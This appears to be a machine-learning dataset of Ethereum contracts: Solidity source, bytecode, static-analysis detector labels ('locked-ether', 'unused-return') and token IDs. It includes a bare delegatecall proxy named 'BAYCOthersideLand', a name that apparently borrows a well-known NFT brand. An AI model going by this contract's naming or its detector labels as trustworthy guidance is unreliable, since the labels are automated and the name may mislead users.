accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820391394eec653571a5900a1dd469e8c6400d01f8ee625529dc07d6e08a30a83db0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2692, 26187, 2487, 2094, 2549, 2050, 23632, 11057, 26187, 2581, 2487, 7959, 2575, 2683, 2487, 4783, 2475, 9818, 2487, 2094, 2629, 2063, 22025, 2050, 2692, 2683, 21472, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,417
0x96c0ad37a88206723121bfb1f4cc3a4b3163f0a4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // _______ ______ __ __ ______ ______ __ __ __ __ __ __ // | \ / \| \ / \ / \ / \ | \ | \ | \ | \ | \ | \ // | $$$$$$$\| $$$$$$\\$$\ / $$| $$$$$$\| $$$$$$\ _| $$_ | $$____ ______ ______ _______ \$$ ____| $$ ______ | $$ ______ _______ ____| $$ // | $$__/ $$| $$__| $$ \$$\/ $$ | $$ \$$| $$ | $$| $$ \ | $$ \ / \ / \ / \| \ / $$ / \ | $$ | \ | \ / $$ // | $$ $$| $$ $$ \$$ $$ | $$ | $$ | $$ \$$$$$$ | $$$$$$$\| $$$$$$\| $$$$$$\| $$$$$$$| $$| $$$$$$$| $$$$$$\| $$ \$$$$$$\| $$$$$$$\| $$$$$$$ // | $$$$$$$\| $$$$$$$$ \$$$$ | $$ __ | $$ | $$ | $$ __ | $$ | $$| $$ $$| $$ \$$ \$$ \ | $$| $$ | $$| $$ $$| $$ / $$| $$ | $$| $$ | $$ // | $$__/ $$| $$ | $$ | $$ | $$__/ \| $$__/ $$ | $$| \| $$ | $$| $$$$$$$$| $$ _\$$$$$$\| $$| $$__| $$| $$$$$$$$| $$_____| $$$$$$$| $$ | $$| $$__| $$ // | $$ $$| $$ | $$ | $$ \$$ $$ \$$ $$ \$$ $$| $$ | $$ \$$ \| $$ | $$| $$ \$$ $$ \$$ \| $$ \\$$ $$| $$ | $$ \$$ $$ // \$$$$$$$ \$$ \$$ \$$ \$$$$$$ \$$$$$$ \$$$$ \$$ \$$ \$$$$$$$ \$$ \$$$$$$$ \$$ \$$$$$$$ \$$$$$$$ \$$$$$$$$ \$$$$$$$ \$$ \$$ \$$$$$$$ import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract BAYCOthersideLand{ //BAYCOthersideLand bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220a76da6ebeb74c01a188afe8fa888908654a1eb6870ddbb098c7a96ec34d0126c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2692, 4215, 24434, 2050, 2620, 2620, 11387, 2575, 2581, 21926, 12521, 2487, 29292, 2497, 2487, 2546, 2549, 9468, 2509, 2050, 2549, 2497, 21486, 2575, 2509, 2546, 2692, 2050, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1064, 1032, 1013, 1032, 1064, 1032, 1013, 1032, 1013, 1032, 1013, 1032, 1064, 1032, 1064, 1032, 1064, 1032, 1064, 1032, 1064, 1032, 1064, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,418
0x96C0c1E929b88d907D774Fc34B9362e24321ea1a
pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ZeroUtilityCopyCat is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Zero Utility CopyCat"; symbol = "ZUCC"; decimals = 18; _totalSupply = 1000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { require(tokens <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(tokens <= balances[from]); require(tokens <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610bc3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610bd6565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bdc565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610c25565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610cc3565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cdf565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610ef2565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610f16565b